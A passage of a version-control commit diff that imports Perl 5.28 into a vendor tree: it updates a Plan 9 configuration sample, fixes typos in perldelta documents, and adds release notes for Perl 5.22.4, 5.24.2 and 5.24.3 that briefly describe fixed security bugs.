- *	This macro is used to declare function parameters for folks who want
- *	to make declarations with prototypes using a different style than
- *	the above macros.  Use double parentheses.  For example:
- *
- *		int main _((int argc, char *argv[]));
- */
-#define	CAN_PROTOTYPE	/**/
-#ifdef CAN_PROTOTYPE
-#define	_(args) args
-#else
-#define	_(args) ()
-#endif
-
 /* SH_PATH:
  *	This symbol contains the full pathname to the shell used on this
  *	on this system to execute Bourne shell scripts.  Usually, this will be

Modified: vendor/perl/dist/plan9/config_sh.sample
===================================================================
--- vendor/perl/dist/plan9/config_sh.sample	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/plan9/config_sh.sample	2018-12-22 22:55:19 UTC (rev 12126)
@@ -29,15 +29,14 @@
 afs='false'
 afsroot='/afs'
 alignbytes='4'
-ansi2knr=''
 aphostname='/bin/uname -n'
 api_revision='5'
 api_subversion='0'
-api_version='26'
-api_versionstring='5.26.0'
+api_version='28'
+api_versionstring='5.28.0'
 ar='ar'
-archlib='/sys/lib/perl5/5.26.0/386'
-archlibexp='/sys/lib/perl5/5.26.0/386'
+archlib='/sys/lib/perl5/5.28.0/386'
+archlibexp='/sys/lib/perl5/5.28.0/386'
 archname64=''
 archname='386'
 archobjs=''
@@ -104,6 +103,7 @@
 d_PRIx64='define'
 d_SCNfldbl='define'
 d__fwalk='undef'
+d_accept4='undef'
 d_access='define'
 d_accessx='undef'
 d_acosh='undef'
@@ -125,19 +125,18 @@
 d_attribute_unused='undef'
 d_attribute_warn_unused_result='undef'
 d_backtrace='undef'
-d_bcmp='define'
-d_bcopy='define'
 d_bsd='undef'
 d_bsdgetpgrp='undef'
 d_bsdsetpgrp='undef'
+d_builtin_add_overflow='undef'
 d_builtin_choose_expr='undef'
 d_builtin_expect='undef'
-d_bzero='define'
+d_builtin_mul_overflow='undef'
+d_builtin_sub_overflow='undef'
 d_c99_variadic_macros='undef'
 d_casti32='undef'
 d_castneg='undef'
 d_cbrt='undef'
-d_charvspr='define'
 d_chown='define'
 d_chroot='undef'
 d_chsize='undef'
@@ -180,6 +179,8 @@
 d_drand48_r='undef'
 d_drand48proto='undef'
 d_dup2='define'
+d_dup3='undef'
+d_duplocale='undef'
 d_eaccess='undef'
 d_endgrent='define'
 d_endgrent_r='undef'
@@ -202,6 +203,7 @@
 d_faststdio='undef'
 d_fchdir='undef'
 d_fchmod='define'
+d_fchmodat='undef'
 d_fchown='undef'
 d_fcntl='define'
 d_fcntl_can_lock='undef'
@@ -342,10 +344,12 @@
 d_lgamma_r='undef'
 d_libm_lib_version='0'
 d_link='define'
+d_linkat='undef'
 d_llrint='undef'
 d_llrintl='undef'
 d_llround='undef'
 d_llroundl='undef'
+d_localeconv_l='undef'
 d_localtime64='undef'
 d_localtime_r='undef'
 d_localtime_r_needs_tzset='undef'
@@ -371,17 +375,16 @@
 d_malloc_good_size='undef'
 d_malloc_size='undef'
 d_mblen='define'
+d_mbrlen='undef'
+d_mbrtowc='undef'
 d_mbstowcs='define'
 d_mbtowc='define'
-d_memchr='define'
-d_memcmp='define'
-d_memcpy='define'
 d_memmem='undef'
-d_memmove='define'
-d_memset='define'
+d_memrchr='undef'
 d_mkdir='define'
 d_mkdtemp='undef'
 d_mkfifo='define'
+d_mkostemp='undef'
 d_mkstemp='undef'
 d_mkstemps='undef'
 d_mktime64='undef'
@@ -406,6 +409,7 @@
 d_munmap='undef'
 d_mymalloc='define'
 d_nan='undef'
+d_nanosleep='undef'
 d_ndbm_h_uses_prototypes='undef'
 d_nearbyint='undef'
 d_newlocale='undef'
@@ -420,10 +424,12 @@
 d_oldpthreads='undef'
 d_oldsock='undef'
 d_open3='define'
+d_openat='undef'
 d_pathconf='define'
 d_pause='define'
 d_perl_otherlibdirs='undef'
 d_phostname='undef'
+d_pipe2='undef'
 d_pipe='define'
 d_poll='undef'
 d_portable='define'
@@ -458,13 +464,11 @@
 d_remainder='undef'
 d_remquo='undef'
 d_rename='define'
+d_renameat='undef'
 d_rewinddir='define'
 d_rint='undef'
 d_rmdir='define'
 d_round='undef'
-d_safebcpy='undef'
-d_safemcpy='undef'
-d_sanemcmp='define'
 d_sbrkproto='undef'
 d_scalbn='undef'
 d_scalbnl='undef'
@@ -539,7 +543,6 @@
 d_socklen_t='undef'
 d_sockpair='define'
 d_socks5_init='undef'
-d_sprintf_returns_strlen='undef'
 d_sqrtl='undef'
 d_srand48_r='undef'
 d_srandom_r='undef'
@@ -558,19 +561,18 @@
 d_stdio_stream_array='undef'
 d_stdiobase='undef'
 d_stdstdio='undef'
-d_strchr='define'
 d_strcoll='define'
-d_strctcpy='define'
-d_strerrm='strerror(e)'
-d_strerror='define'
 d_strerror_l='undef'
 d_strerror_r='undef'
 d_strftime='define'
 d_strlcat='undef'
 d_strlcpy='undef'
+d_strnlen='undef'
 d_strtod='define'
+d_strtod_l='undef'
 d_strtol='define'
 d_strtold='undef'
+d_strtold_l='undef'
 d_strtoll='undef'
 d_strtoq='undef'
 d_strtoul='define'
@@ -590,6 +592,7 @@
 d_telldir='undef'
 d_telldirproto='undef'
 d_tgamma='undef'
+d_thread_safe_nl_langinfo_l='undef'
 d_time='define'
 d_timegm='undef'
 d_times='define'
@@ -606,6 +609,7 @@
 d_umask='define'
 d_uname='define'
 d_union_semun='undef'
+d_unlinkat='undef'
 d_unordered='undef'
 d_unsetenv='undef'
 d_uselocale='undef'
@@ -619,8 +623,6 @@
 d_void_closedir='undef'
 d_voidsig='define'
 d_voidtty=''
-d_volatile='define'
-d_vprintf='define'
 d_vsnprintf='undef'
 d_wait4='undef'
 d_waitpid='define'
@@ -724,7 +726,6 @@
 i8size='1'
 i8type='char'
 i_arpainet='define'
-i_assert='define'
 i_bfd='undef'
 i_bsdioctl=''
 i_crypt='undef'
@@ -735,7 +736,6 @@
 i_execinfo='undef'
 i_fcntl='define'
 i_fenv='undef'
-i_float='define'
 i_fp='undef'
 i_fp_class='undef'
 i_gdbm='undef'
@@ -746,13 +746,10 @@
 i_inttypes='define'
 i_langinfo='undef'
 i_libutil='undef'
-i_limits='define'
 i_locale='define'
 i_machcthr='undef'
 i_malloc='undef'
 i_mallocmalloc='undef'
-i_math='define'
-i_memory='undef'
 i_mntent='undef'
 i_ndbm='undef'
 i_netdb='define'
@@ -768,12 +765,9 @@
 i_sgtty='undef'
 i_shadow='undef'
 i_socks='undef'
-i_stdarg='define'
 i_stdbool='undef'
-i_stddef='define'
 i_stdint='undef'
 i_stdlib='define'
-i_string='define'
 i_sunmath='undef'
 i_sysaccess='undef'
 i_sysdir='undef'
@@ -810,10 +804,8 @@
 i_unistd='define'
 i_ustat='undef'
 i_utime='define'
-i_values='undef'
-i_varargs='undef'
-i_varhdr='stdarg.h'
 i_vfork='undef'
+i_wchar='undef'
 i_xlocale='undef'
 ignore_versioned_solibs=''
 inc_version_list=' '
@@ -820,17 +812,17 @@
 inc_version_list_init='0'
 incpath=''
 inews=''
-installarchlib='/sys/lib/perl/5.26.0/386'
+installarchlib='/sys/lib/perl/5.28.0/386'
 installbin='/usr/bin'
 installman1dir='/sys/man/1pub'
 installman3dir='/sys/man/2pub'
 installprefix='/usr'
 installprefixexp='/usr'
-installprivlib='/sys/lib/perl/5.26.0'
+installprivlib='/sys/lib/perl/5.28.0'
 installscript='/usr/bin'
-installsitearch='/sys/lib/perl/5.26.0/site_perl/386'
+installsitearch='/sys/lib/perl/5.28.0/site_perl/386'
 installsitebin='/usr/bin'
-installsitelib='/sys/lib/perl/5.26.0/site_perl'
+installsitelib='/sys/lib/perl/5.28.0/site_perl'
 installstyle='lib/perl5'
 installusrbinperl='undef'
 installvendorarch=''
@@ -955,8 +947,8 @@
 pr=''
 prefix='/usr'
 prefixexp='/usr'
-privlib='/sys/lib/perl/5.26.0'
-privlibexp='/sys/lib/perl/5.26.0'
+privlib='/sys/lib/perl/5.28.0'
+privlibexp='/sys/lib/perl/5.28.0'
 procselfexe=''
 prototype='define'
 ptrsize='4'
@@ -1021,13 +1013,13 @@
 sig_num_init='0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 0'
 sig_size='50'
 signal_t='void'
-sitearch='/sys/lib/perl/5.26.0/site_perl/386'
+sitearch='/sys/lib/perl/5.28.0/site_perl/386'
 sitearchexp='/sys/lib/perl/site_perl/386'
 sitebin='/usr/bin'
 sitebinexp='/usr/bin'
-sitelib='/sys/lib/perl/5.26.0/site_perl'
-sitelib_stem='/sys/lib/perl/5.26.0/site_perl'
-sitelibexp='/sys/lib/perl/5.26.0/site_perl'
+sitelib='/sys/lib/perl/5.28.0/site_perl'
+sitelib_stem='/sys/lib/perl/5.28.0/site_perl'
+sitelibexp='/sys/lib/perl/5.28.0/site_perl'
 siteprefix='/usr'
 siteprefixexp='/usr'
 sizesize='4'
@@ -1132,7 +1124,6 @@
 uvtype='unsigned long'
 uvuformat='"lu"'
 uvxformat='"lx"'
-vaproto='undef'
 vendorarch=''
 vendorarchexp=''
 vendorbin=''
@@ -1142,8 +1133,8 @@
 vendorlibexp=''
 vendorprefix=''
 vendorprefixexp=''
-version='5.26.0'
-version_patchlevel_string='version 26 subversion 0'
+version='5.28.0'
+version_patchlevel_string='version 28 subversion 0'
 versiononly='undef'
 vi=''
 xlibpth=''
@@ -1156,10 +1147,10 @@
 config_args=''
 config_argc=0
 PERL_REVISION=5
-PERL_VERSION=26
+PERL_VERSION=28
 PERL_SUBVERSION=0
 PERL_API_REVISION=5
-PERL_API_VERSION=26
+PERL_API_VERSION=28
 PERL_API_SUBVERSION=0
 PERL_PATCHLEVEL=
 PERL_CONFIG_SH=true

Modified: vendor/perl/dist/pod/buildtoc
===================================================================
--- vendor/perl/dist/pod/buildtoc	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/buildtoc	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,12 +1,12 @@
 #!/usr/bin/perl -w
 
 use strict;
-use vars qw($Quiet);
 use File::Spec;
 use FindBin;
 use Text::Wrap;
 use Getopt::Long;
 
+our $Quiet;
 no locale;
 
 # Assumption is that we're either already being run from the top level (*nix,
@@ -18,7 +18,7 @@
 }
 
 die "$0: Usage: $0 [--quiet]\n"
-    unless GetOptions (quiet => \$Quiet) && !@ARGV;
+    unless GetOptions ('q|quiet' => \$Quiet) && !@ARGV;
 
 my $state = get_pod_metadata(0, sub { warn @_ if @_ }, 'pod/perltoc.pod');
 
@@ -186,7 +186,7 @@
 sub podset {
     my ($pod, $file) = @_;
 
-    open my $fh, '<', $file or my_die "Can't open file '$file' for $pod: $!";
+    open my $fh, '<:raw', $file or my_die "Can't open file '$file' for $pod: $!";
 
     local *_;
     my $found_pod;

Modified: vendor/perl/dist/pod/perl.pod
===================================================================
--- vendor/perl/dist/pod/perl.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perl.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -181,8 +181,15 @@
 
     perlhist		Perl history records
     perldelta		Perl changes since previous version
+    perl5262delta	Perl changes in version 5.26.2
+    perl5261delta	Perl changes in version 5.26.1
+    perl5260delta	Perl changes in version 5.26.0
+    perl5244delta	Perl changes in version 5.24.4
+    perl5243delta	Perl changes in version 5.24.3
+    perl5242delta	Perl changes in version 5.24.2
     perl5241delta	Perl changes in version 5.24.1
     perl5240delta	Perl changes in version 5.24.0
+    perl5224delta	Perl changes in version 5.22.4
     perl5223delta	Perl changes in version 5.22.3
     perl5222delta	Perl changes in version 5.22.2
     perl5221delta	Perl changes in version 5.22.1

Modified: vendor/perl/dist/pod/perl5100delta.pod
===================================================================
--- vendor/perl/dist/pod/perl5100delta.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perl5100delta.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1015,7 +1015,7 @@
 used to write pluggable regular expression engines (by Ævar Arnfjörð
 Bjarmason).
 
-The L<perlunitut> manpage is an tutorial for programming with Unicode and
+The L<perlunitut> manpage is a tutorial for programming with Unicode and
 string encodings in Perl, courtesy of Juerd Waalboer.
 
 A new manual page, L<perlunifaq> (the Perl Unicode FAQ), has been added
@@ -1576,7 +1576,7 @@
 
 The anonymous hash and array constructors now take 1 op in the optree
 instead of 3, now that pp_anonhash and pp_anonlist return a reference to
-an hash/array when the op is flagged with OPf_SPECIAL. (Nicholas Clark)
+a hash/array when the op is flagged with OPf_SPECIAL. (Nicholas Clark)
 
 =head1 Known Problems
 

Modified: vendor/perl/dist/pod/perl5120delta.pod
===================================================================
--- vendor/perl/dist/pod/perl5120delta.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perl5120delta.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1707,7 +1707,7 @@
 =item *
 
 C<SVf_UTF8> will call C<SvUTF8_on()> for you. (Note that this does
-not convert an sequence of ISO 8859-1 characters to UTF-8). A wrapper,
+not convert a sequence of ISO 8859-1 characters to UTF-8). A wrapper,
 C<newSVpvn_utf8()> is available for this.
 
 =item *

Modified: vendor/perl/dist/pod/perl5140delta.pod
===================================================================
--- vendor/perl/dist/pod/perl5140delta.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perl5140delta.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2461,7 +2461,7 @@
 
 =item refcnt: fd %d%s
 
-This new error only occurs if a internal consistency check fails when a
+This new error only occurs if an internal consistency check fails when a
 pipe is about to be closed.
 
 =item Regexp modifier "/%c" may not appear twice

Modified: vendor/perl/dist/pod/perl5180delta.pod
===================================================================
--- vendor/perl/dist/pod/perl5180delta.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perl5180delta.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -540,7 +540,7 @@
 In this release, when assigning to C<%ENV>, values are immediately stringified,
 and converted to be only a byte string.
 
-First, it is forced to be a only a string.  Then if the string is utf8 and the
+First, it is forced to be only a string.  Then if the string is utf8 and the
 equivalent of C<utf8::downgrade()> works, that result is used; otherwise, the
 equivalent of C<utf8::encode()> is used, and a warning is issued about wide
 characters (L</Diagnostics>).
@@ -2759,7 +2759,7 @@
 been restored,
 
 Commit da6b625f78f5f133 in August 2011 inadvertently broke the code that looks
-up values in C<PL_stashcache>. As it's a only cache, quite correctly everything
+up values in C<PL_stashcache>. As it's only a cache, quite correctly everything
 carried on working without it.
 
 =item *

Modified: vendor/perl/dist/pod/perl5181delta.pod
===================================================================
--- vendor/perl/dist/pod/perl5181delta.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perl5181delta.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -48,7 +48,7 @@
 
 =item AIX
 
-A rarely-encounted configuration bug in the AIX hints file has been corrected.
+A rarely-encountered configuration bug in the AIX hints file has been corrected.
 
 =item MidnightBSD
 

Modified: vendor/perl/dist/pod/perl5184delta.pod
===================================================================
--- vendor/perl/dist/pod/perl5184delta.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perl5184delta.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -48,7 +48,7 @@
 L<perl #113536|https://rt.perl.org/Public/Bug/Display.html?id=113536>, a memory
 leak on every call to C<system> and backticks (C< `` >), on most Win32 Perls
 starting from 5.18.0 has been fixed.  The memory leak only occurred if you
-enabled psuedo-fork in your build of Win32 Perl, and were running that build on
+enabled pseudo-fork in your build of Win32 Perl, and were running that build on
 Server 2003 R2 or newer OS.  The leak does not appear on WinXP SP3.
 [L<perl #121676|https://rt.perl.org/Public/Bug/Display.html?id=121676>]
 

Modified: vendor/perl/dist/pod/perl5200delta.pod
===================================================================
--- vendor/perl/dist/pod/perl5200delta.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perl5200delta.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2247,7 +2247,7 @@
 L<perl #113536|https://rt.perl.org/Public/Bug/Display.html?id=113536>, a memory
 leak on every call to C<system> and backticks (C< `` >), on most Win32 Perls
 starting from 5.18.0 has been fixed.  The memory leak only occurred if you
-enabled psuedo-fork in your build of Win32 Perl, and were running that build on
+enabled pseudo-fork in your build of Win32 Perl, and were running that build on
 Server 2003 R2 or newer OS.  The leak does not appear on WinXP SP3.
 [L<perl #121676|https://rt.perl.org/Public/Bug/Display.html?id=121676>]
 
@@ -2736,7 +2736,7 @@
 
 =item *
 
-Under certain conditions, Perl would throw an error if in an lookbehind
+Under certain conditions, Perl would throw an error if in a lookbehind
 assertion in a regexp, the assertion referred to a named subpattern,
 complaining the lookbehind was variable when it wasn't. This has been
 fixed. [perl #120600], [perl #120618]. The current fix may be improved

Added: vendor/perl/dist/pod/perl5224delta.pod
===================================================================
--- vendor/perl/dist/pod/perl5224delta.pod	                        (rev 0)
+++ vendor/perl/dist/pod/perl5224delta.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,125 @@
+=encoding utf8
+
+=head1 NAME
+
+perl5224delta - what is new for perl v5.22.4
+
+=head1 DESCRIPTION
+
+This document describes differences between the 5.22.3 release and the 5.22.4
+release.
+
+If you are upgrading from an earlier release such as 5.22.2, first read
+L<perl5223delta>, which describes differences between 5.22.2 and 5.22.3.
+
+=head1 Security
+
+=head2 Improved handling of '.' in @INC in base.pm
+
+The handling of (the removal of) C<'.'> in C<@INC> in L<base> has been
+improved.  This resolves some problematic behaviour in the approach taken in
+Perl 5.22.3, which is probably best described in the following two threads on
+the Perl 5 Porters mailing list:
+L<http://www.nntp.perl.org/group/perl.perl5.porters/2016/08/msg238991.html>,
+L<http://www.nntp.perl.org/group/perl.perl5.porters/2016/10/msg240297.html>.
+
+=head2 "Escaped" colons and relative paths in PATH
+
+On Unix systems, Perl treats any relative paths in the PATH environment
+variable as tainted when starting a new process.  Previously, it was allowing a
+backslash to escape a colon (unlike the OS), consequently allowing relative
+paths to be considered safe if the PATH was set to something like C</\:.>.  The
+check has been fixed to treat C<.> as tainted in that example.
+
+=head1 Modules and Pragmata
+
+=head2 Updated Modules and Pragmata
+
+=over 4
+
+=item *
+
+L<base> has been upgraded from version 2.22 to 2.22_01.
+
+=item *
+
+L<Module::CoreList> has been upgraded from version 5.20170114_22 to 5.20170715_22.
+
+=back
+
+=head1 Selected Bug Fixes
+
+=over 4
+
+=item *
+
+Fixed a crash with C<s///l> where it thought it was dealing with UTF-8 when it
+wasn't.
+L<[perl #129038]|https://rt.perl.org/Ticket/Display.html?id=129038>
+
+=back
+
+=head1 Acknowledgements
+
+Perl 5.22.4 represents approximately 6 months of development since Perl 5.22.3
+and contains approximately 2,200 lines of changes across 52 files from 16
+authors.
+
+Excluding auto-generated files, documentation and release tools, there were
+approximately 970 lines of changes to 18 .pm, .t, .c and .h files.
+
+Perl continues to flourish into its third decade thanks to a vibrant community
+of users and developers.  The following people are known to have contributed
+the improvements that became Perl 5.22.4:
+
+Aaron Crane, Abigail, Aristotle Pagaltzis, Chris 'BinGOs' Williams, David
+Mitchell, Eric Herman, Father Chrysostomos, James E Keenan, Karl Williamson,
+Lukas Mai, Renee Baecker, Ricardo Signes, Sawyer X, Stevan Little, Steve Hay,
+Tony Cook.
+
+The list above is almost certainly incomplete as it is automatically generated
+from version control history.  In particular, it does not include the names of
+the (very much appreciated) contributors who reported issues to the Perl bug
+tracker.
+
+Many of the changes included in this version originated in the CPAN modules
+included in Perl's core.  We're grateful to the entire CPAN community for
+helping Perl to flourish.
+
+For a more complete list of all of Perl's historical contributors, please see
+the F<AUTHORS> file in the Perl source distribution.
+
+=head1 Reporting Bugs
+
+If you find what you think is a bug, you might check the articles recently
+posted to the comp.lang.perl.misc newsgroup and the perl bug database at
+https://rt.perl.org/ .  There may also be information at
+http://www.perl.org/ , the Perl Home Page.
+
+If you believe you have an unreported bug, please run the L<perlbug> program
+included with your release.  Be sure to trim your bug down to a tiny but
+sufficient test case.  Your bug report, along with the output of C<perl -V>,
+will be sent off to perlbug at perl.org to be analysed by the Perl porting team.
+
+If the bug you are reporting has security implications, which make it
+inappropriate to send to a publicly archived mailing list, then please send it
+to perl5-security-report at perl.org.  This points to a closed subscription
+unarchived mailing list, which includes all the core committers, who will be
+able to help assess the impact of issues, figure out a resolution, and help
+co-ordinate the release of patches to mitigate or fix the problem across all
+platforms on which Perl is supported.  Please only use this address for
+security issues in the Perl core, not for modules independently distributed on
+CPAN.
+
+=head1 SEE ALSO
+
+The F<Changes> file for an explanation of how to view exhaustive details on
+what changed.
+
+The F<INSTALL> file for how to build Perl.
+
+The F<README> file for general stuff.
+
+The F<Artistic> and F<Copying> files for copyright information.
+
+=cut

Modified: vendor/perl/dist/pod/perl5240delta.pod
===================================================================
--- vendor/perl/dist/pod/perl5240delta.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perl5240delta.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -96,7 +96,7 @@
 
 Previously perl would redirect to another interpreter if it found a
 hashbang path unless the path contains "perl" (see L<perlrun>). To improve
-compatability with Perl 6 this behavior has been extended to also redirect
+compatibility with Perl 6 this behavior has been extended to also redirect
 if "perl" is followed by "6".
 
 =head1 Security

Added: vendor/perl/dist/pod/perl5242delta.pod
===================================================================
--- vendor/perl/dist/pod/perl5242delta.pod	                        (rev 0)
+++ vendor/perl/dist/pod/perl5242delta.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,120 @@
+=encoding utf8
+
+=head1 NAME
+
+perl5242delta - what is new for perl v5.24.2
+
+=head1 DESCRIPTION
+
+This document describes differences between the 5.24.1 release and the 5.24.2
+release.
+
+If you are upgrading from an earlier release such as 5.24.0, first read
+L<perl5241delta>, which describes differences between 5.24.0 and 5.24.1.
+
+=head1 Security
+
+=head2 Improved handling of '.' in @INC in base.pm
+
+The handling of (the removal of) C<'.'> in C<@INC> in L<base> has been
+improved.  This resolves some problematic behaviour in the approach taken in
+Perl 5.24.1, which is probably best described in the following two threads on
+the Perl 5 Porters mailing list:
+L<http://www.nntp.perl.org/group/perl.perl5.porters/2016/08/msg238991.html>,
+L<http://www.nntp.perl.org/group/perl.perl5.porters/2016/10/msg240297.html>.
+
+=head2 "Escaped" colons and relative paths in PATH
+
+On Unix systems, Perl treats any relative paths in the PATH environment
+variable as tainted when starting a new process.  Previously, it was allowing a
+backslash to escape a colon (unlike the OS), consequently allowing relative
+paths to be considered safe if the PATH was set to something like C</\:.>.  The
+check has been fixed to treat C<.> as tainted in that example.
+
+=head1 Modules and Pragmata
+
+=head2 Updated Modules and Pragmata
+
+=over 4
+
+=item *
+
+L<base> has been upgraded from version 2.23 to 2.23_01.
+
+=item *
+
+L<Module::CoreList> has been upgraded from version 5.20170114_24 to 5.20170715_24.
+
+=back
+
+=head1 Selected Bug Fixes
+
+=over 4
+
+=item *
+
+Fixed a crash with C<s///l> where it thought it was dealing with UTF-8 when it
+wasn't.
+L<[perl #129038]|https://rt.perl.org/Ticket/Display.html?id=129038>
+
+=back
+
+=head1 Acknowledgements
+
+Perl 5.24.2 represents approximately 6 months of development since Perl 5.24.1
+and contains approximately 2,500 lines of changes across 53 files from 18
+authors.
+
+Excluding auto-generated files, documentation and release tools, there were
+approximately 960 lines of changes to 17 .pm, .t, .c and .h files.
+
+Perl continues to flourish into its third decade thanks to a vibrant community
+of users and developers.  The following people are known to have contributed
+the improvements that became Perl 5.24.2:
+
+Aaron Crane, Abigail, Aristotle Pagaltzis, Chris 'BinGOs' Williams, Dan
+Collins, David Mitchell, Eric Herman, Father Chrysostomos, James E Keenan, Karl
+Williamson, Lukas Mai, Renee Baecker, Ricardo Signes, Sawyer X, Stevan Little,
+Steve Hay, Tony Cook, Yves Orton.
+
+The list above is almost certainly incomplete as it is automatically generated
+from version control history.  In particular, it does not include the names of
+the (very much appreciated) contributors who reported issues to the Perl bug
+tracker.
+
+Many of the changes included in this version originated in the CPAN modules
+included in Perl's core.  We're grateful to the entire CPAN community for
+helping Perl to flourish.
+
+For a more complete list of all of Perl's historical contributors, please see
+the F<AUTHORS> file in the Perl source distribution.
+
+=head1 Reporting Bugs
+
+If you find what you think is a bug, you might check the articles recently
+posted to the comp.lang.perl.misc newsgroup and the perl bug database at
+L<https://rt.perl.org/> .  There may also be information at
+L<http://www.perl.org/> , the Perl Home Page.
+
+If you believe you have an unreported bug, please run the L<perlbug> program
+included with your release.  Be sure to trim your bug down to a tiny but
+sufficient test case.  Your bug report, along with the output of C<perl -V>,
+will be sent off to perlbug at perl.org to be analysed by the Perl porting team.
+
+If the bug you are reporting has security implications which make it
+inappropriate to send to a publicly archived mailing list, then see
+L<perlsec/SECURITY VULNERABILITY CONTACT INFORMATION>
+for details of how to report the issue.
+
+=head1 SEE ALSO
+
+The F<Changes> file for an explanation of how to view exhaustive details on
+what changed.
+
+The F<INSTALL> file for how to build Perl.
+
+The F<README> file for general stuff.
+
+The F<Artistic> and F<Copying> files for copyright information.
+
+=cut

Added: vendor/perl/dist/pod/perl5243delta.pod
===================================================================
--- vendor/perl/dist/pod/perl5243delta.pod	                        (rev 0)
+++ vendor/perl/dist/pod/perl5243delta.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,335 @@
+=encoding utf8
+
+=head1 NAME
+
+perl5243delta - what is new for perl v5.24.3
+
+=head1 DESCRIPTION
+
+This document describes differences between the 5.24.2 release and the 5.24.3
+release.
+
+If you are upgrading from an earlier release such as 5.24.1, first read
+L<perl5242delta>, which describes differences between 5.24.1 and 5.24.2.
+
+=head1 Security
+
+=head2 [CVE-2017-12837] Heap buffer overflow in regular expression compiler
+
+Compiling certain regular expression patterns with the case-insensitive
+modifier could cause a heap buffer overflow and crash perl.  This has now been
+fixed.
+L<[perl #131582]|https://rt.perl.org/Public/Bug/Display.html?id=131582>
+
+=head2 [CVE-2017-12883] Buffer over-read in regular expression parser
+
+For certain types of syntax error in a regular expression pattern, the error
+message could either contain the contents of a random, possibly large, chunk of
+memory, or could crash perl.  This has now been fixed.
+L<[perl #131598]|https://rt.perl.org/Public/Bug/Display.html?id=131598>
+
+=head2 [CVE-2017-12814] C<$ENV{$key}> stack buffer overflow on Windows
+
+A possible stack buffer overflow in the C<%ENV> code on Windows has been fixed
+by removing the buffer completely since it was superfluous anyway.
+L<[perl #131665]|https://rt.perl.org/Public/Bug/Display.html?id=131665>
+
+=head1 Incompatible Changes
+
+There are no changes intentionally incompatible with 5.24.2.  If any exist,
+they are bugs, and we request that you submit a report.  See L</Reporting
+Bugs> below.
+
+=head1 Modules and Pragmata
+
+=head2 Updated Modules and Pragmata
+
+=over 4
+
+=item *
+
+L<Module::CoreList> has been upgraded from version 5.20170715_24 to
+5.20170922_24.
+
+=item *
+
+L<POSIX> has been upgraded from version 1.65 to 1.65_01.
+
+=item *
+
+L<Time::HiRes> has been upgraded from version 1.9733 to 1.9741.
+
+L<[perl #128427]|https://rt.perl.org/Public/Bug/Display.html?id=128427>
+L<[perl #128445]|https://rt.perl.org/Public/Bug/Display.html?id=128445>
+L<[perl #128972]|https://rt.perl.org/Public/Bug/Display.html?id=128972>
+L<[cpan #120032]|https://rt.cpan.org/Public/Bug/Display.html?id=120032>
+
+=back
+
+=head1 Configuration and Compilation
+
+=over 4
+
+=item *
+
+When building with GCC 6 and link-time optimization (the B<-flto> option to
+B<gcc>), F<Configure> was treating all probed symbols as present on the system,
+regardless of whether they actually exist.  This has been fixed.
+L<[perl #128131]|https://rt.perl.org/Public/Bug/Display.html?id=128131>
+
+=item *
+
+F<Configure> now aborts if both C<-Duselongdouble> and C<-Dusequadmath> are
+requested.
+L<[perl #126203]|https://rt.perl.org/Public/Bug/Display.html?id=126203>
+
+=item *
+
+Fixed a bug in which F<Configure> could append C<-quadmath> to the archname
+even if it was already present.
+L<[perl #128538]|https://rt.perl.org/Public/Bug/Display.html?id=128538>
+
+=item *
+
+Clang builds with C<-DPERL_GLOBAL_STRUCT> or C<-DPERL_GLOBAL_STRUCT_PRIVATE>
+have been fixed (by disabling Thread Safety Analysis for these configurations).
+
+=back
+
+=head1 Platform Support
+
+=head2 Platform-Specific Notes
+
+=over 4
+
+=item VMS
+
+=over 4
+
+=item *
+
+C<configure.com> now recognizes the VSI-branded C compiler.
+
+=back
+
+=item Windows
+
+=over 4
+
+=item *
+
+Building XS modules with GCC 6 in a 64-bit build of Perl failed due to
+incorrect mapping of C<strtoll> and C<strtoull>.  This has now been fixed.
+L<[perl #131726]|https://rt.perl.org/Public/Bug/Display.html?id=131726>
+L<[cpan #121683]|https://rt.cpan.org/Public/Bug/Display.html?id=121683>
+L<[cpan #122353]|https://rt.cpan.org/Public/Bug/Display.html?id=122353>
+
+=back
+
+=back
+
+=head1 Selected Bug Fixes
+
+=over 4
+
+=item *
+
+C<< /@0{0*-E<gt>@*/*0 >> and similar contortions used to crash, but no longer
+do, but merely produce a syntax error.
+L<[perl #128171]|https://rt.perl.org/Public/Bug/Display.html?id=128171>
+
+=item *
+
+C<do> or C<require> with an argument which is a reference or typeglob which,
+when stringified, contains a null character, started crashing in Perl 5.20, but
+has now been fixed.
+L<[perl #128182]|https://rt.perl.org/Public/Bug/Display.html?id=128182>
+
+=item *
+
+Expressions containing an C<&&> or C<||> operator (or their synonyms C<and> and
+C<or>) were being compiled incorrectly in some cases.  If the left-hand side
+consisted of either a negated bareword constant or a negated C<do {}> block
+containing a constant expression, and the right-hand side consisted of a
+negated non-foldable expression, one of the negations was effectively ignored.
